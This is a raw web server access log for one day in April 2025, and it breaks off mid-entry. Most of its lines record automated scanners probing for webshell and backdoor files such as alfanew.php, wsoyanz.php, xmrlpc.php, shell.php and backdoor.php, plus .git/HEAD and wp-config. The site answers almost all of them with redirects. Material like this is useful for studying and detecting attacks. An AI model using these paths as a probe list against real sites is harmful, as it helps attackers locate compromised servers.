[19/Apr/2025:01:36:41 -0400] "GET /wp-content/plugins/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:41 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:42 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:43 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:43 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:44 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:45 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:45 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:46 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:46 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:47 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:48 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:49 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:49 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:50 -0400] "GET /wp-admin/license.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:51 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:51 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:52 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:53 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:53 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:54 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:55 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:55 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:56 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:57 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:58 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:58 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:00 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:00 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:01 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:02 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:03 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:04 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:06 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:06 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:07 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:08 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:09 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:10 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:11 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:12 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:13 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:14 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:15 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:16 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:17 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:18 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:19 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:21 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:22 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:23 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:24 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:25 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:25 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:26 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:27 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:27 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:28 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:29 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:30 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:31 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:31 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:32 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:33 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:34 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:35 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:35 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:36 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:37 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:38 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:39 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:40 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:40 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:41 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:42 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:43 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:44 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:45 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:46 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:47 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:48 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:49 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:50 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:50 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:51 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:52 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:53 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:54 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:54 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:55 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:56 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:56 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:57 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:58 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:59 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:37:59 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:00 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:01 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:02 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:03 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:03 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:04 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:05 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:06 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:07 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:08 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:09 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:10 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:13 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:16 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:17 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:19 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:21 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:22 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:23 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:24 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:25 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:38:27 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 165.227.110.124 - - [19/Apr/2025:02:15:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 165.227.110.124 - - [19/Apr/2025:02:15:38 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 42.83.147.56 - - [19/Apr/2025:02:41:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 43.156.109.53 - - [19/Apr/2025:02:46:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.20.18.145 - - [19/Apr/2025:03:02:05 -0400] "GET /sites/all/libraries/elfinder/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 66.249.64.164 - - [19/Apr/2025:03:22:03 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.165 - - [19/Apr/2025:03:22:04 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 146.70.198.11 - - [19/Apr/2025:03:54:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" 146.70.198.11 - - [19/Apr/2025:03:54:50 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" 146.70.198.11 - - [19/Apr/2025:03:54:50 -0400] "GET /eval.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" 146.70.198.11 - - [19/Apr/2025:03:54:51 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" 146.70.198.11 - - [19/Apr/2025:03:54:52 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" 146.70.198.11 - - [19/Apr/2025:03:54:54 -0400] "GET /exec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" 146.70.198.11 - - [19/Apr/2025:03:54:55 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" 146.70.198.11 - - [19/Apr/2025:03:54:56 -0400] "GET /backdoor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36" 185.201.65.40 - - [19/Apr/2025:05:43:04 -0400] "GET /wp-config HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [19/Apr/2025:05:50:42 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:05:51:09 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:05:52:02 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 4.227.36.107 - - [19/Apr/2025:06:16:37 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.40 - - [19/Apr/2025:06:17:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 52.169.85.7 - - [19/Apr/2025:06:24:39 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:41 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:42 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:42 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:43 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:44 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:45 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:46 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:47 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:47 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:48 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:49 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:50 -0400] "GET /.well-known/iwpairbj.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:51 -0400] "GET /wp-admin/css/colors/blue/blkafewl.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:52 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:52 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:54 -0400] "GET /wordpress/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:54 -0400] "GET /wp-admin/includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:55 -0400] "GET /wp-includes/SimplePie/gzdecodes.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:56 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:57 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:57 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:24:59 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:00 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:02 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:03 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:04 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:07 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:09 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:12 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:16 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:18 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:20 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:21 -0400] "GET /wp-content/themes/twentynineteen/inc/ty.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:22 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:24 -0400] "GET /wp-content/uploads/upload_handler.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:25 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:28 -0400] "GET /defense.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:29 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:31 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:33 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:35 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:38 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:42 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:44 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:45 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:47 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:48 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:49 -0400] "GET /assets/images/ups.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:51 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:53 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:54 -0400] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:55 -0400] "GET /wp-content/uploads/ethwwuzd.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:57 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:25:59 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:01 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:02 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:03 -0400] "GET /add_class.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:04 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:05 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:05 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:07 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:08 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:09 -0400] "GET /wp-includes/widgets/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:10 -0400] "GET /wp-admin/S7fHiMZBUg1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:11 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:12 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:12 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:13 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:14 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:15 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:16 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:16 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [19/Apr/2025:06:26:17 -0400] "GET 